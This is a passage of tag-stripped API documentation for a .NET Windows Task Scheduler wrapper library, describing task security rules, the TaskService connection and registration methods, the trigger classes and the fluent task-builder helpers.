descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using the + or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. However, the user + interface and methods will always show the time translated to local time. The library makes every attempt to + maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the "Synchronize across time zones" checkbox will be + checked if the Kind is Local or Utc. If the Kind is Unspecified and the user selects the checkbox, the Kind will be changed to Utc and the time + adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is repeated after the + task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the + is unspecified. If the DateTime value Kind is then it will be used as is. If the + DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user interface and + methods will always show the time translated to local time. The library makes every attempt to maintain the Kind + value. When using the UI elements provided in the TaskSchedulerEditor library, the "Synchronize across time zones" checkbox will be checked if the + Kind is Local or Utc. If the Kind is Unspecified and the user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the + value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will behave as follows: + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, + follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the pattern is + repeated indefinitely. + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the ITriggerDelay interface. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only available for reading custom + triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every other day, every + third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 + and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from the subscription query + specified in the Subscription property. The name of the query can be used as a variable in the message of a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all entries in the + property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are enumerated and any tasks + registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, then do not assign a + value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty LogonTrigger.UserId property and assign a value to the + principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the + value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 to 32 and bits are + numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits are considered to + number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only available for Task + Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the pattern is + repeated indefinitely. + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + If you specify a repetition duration for a task, you must also specify the repetition interval. + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + Releases all resources used by this class. + + + Determines whether the 